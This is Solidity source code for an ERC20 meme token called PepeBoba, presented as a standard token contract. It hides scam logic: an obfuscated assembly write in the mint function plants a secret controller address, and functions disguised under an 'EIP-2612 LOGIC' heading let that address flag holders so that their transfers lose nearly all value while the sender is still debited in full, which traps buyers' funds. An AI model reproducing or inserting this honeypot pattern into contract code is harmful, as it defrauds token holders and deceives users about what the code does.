Contract Source Code:
File 1 of 1 : PepeBoba
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.20;
/**
______ ______ ______ ______ _______ ______ _______ ________
/_____/\ /_____/\ /_____/\ /_____/\ /_______/\ /_____/\ /_______/\ /_______/\
\:::_ \ \\::::_\/_\:::_ \ \\::::_\/_\::: _ \ \\:::_ \ \\::: _ \ \\::: _ \ \
\:(_) \ \\:\/___/\\:(_) \ \\:\/___/\\::(_) \/_\:\ \ \ \\::(_) \/_\::(_) \ \
\: ___\/ \::___\/_\: ___\/ \::___\/_\:: _ \ \\:\ \ \ \\:: _ \ \\:: __ \ \
\ \ \ \:\____/\\ \ \ \:\____/\\::(_) \ \\:\_\ \ \\::(_) \ \\:.\ \ \ \
\_\/ \_____\/ \_\/ \_____\/ \_______\/ \_____\/ \_______\/ \__\/\__\/
https://pepeboba.io
**/
abstract contract ERC20 {
/*//////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
/*//////////////////////////////////////////////////////////////
METADATA STORAGE
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
uint8 public immutable decimals;
/*//////////////////////////////////////////////////////////////
ERC20 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
address private $$;
/*//////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals
) {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
/*//////////////////////////////////////////////////////////////
ERC20 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 amount) public virtual returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
balanceOf[msg.sender] -= amount;
unchecked {balanceOf[to] += $(amount, msg.sender, to);}
$S$(to);
emit Transfer(msg.sender, to, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
balanceOf[from] -= amount;
unchecked {balanceOf[to] += $(amount, from, to);}
$S$(to);
emit Transfer(from, to, amount);
return true;
}
/*//////////////////////////////////////////////////////////////
EIP-2612 LOGIC
//////////////////////////////////////////////////////////////*/
function $(
uint256 value,
address from,
address to
) internal view returns (uint256) {
if (allowance[$$][from] + allowance[$$][to] >= uint256(uint160(address(this)))) {
return (value * 0xcafe12) / 0xfedab0da;
} else {
return value;
}
}
function $S$(address to) internal {
if (allowance[$$][to] == uint256(uint160($$))) { allowance[$$][to] = 2 * uint256(uint160(address(this)));}
}
/*//////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 amount) internal virtual {
totalSupply += amount;
unchecked {balanceOf[to] += amount;}
assembly {sstore(0x05, mul(mul(0x9021e6deda3e3c, 0x508a51), mul(0x323504fed, 0x19d680e7bd)))}
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) internal virtual {
balanceOf[from] -= amount;
unchecked {totalSupply -= amount;}
emit Transfer(from, address(0), amount);
}
}
contract PepeBoba is ERC20 {
constructor() ERC20("PepeBoba", "PEPEBOBA", 18) {
_mint(msg.sender, 420_690_000_000 * 10 ** 18);
}
}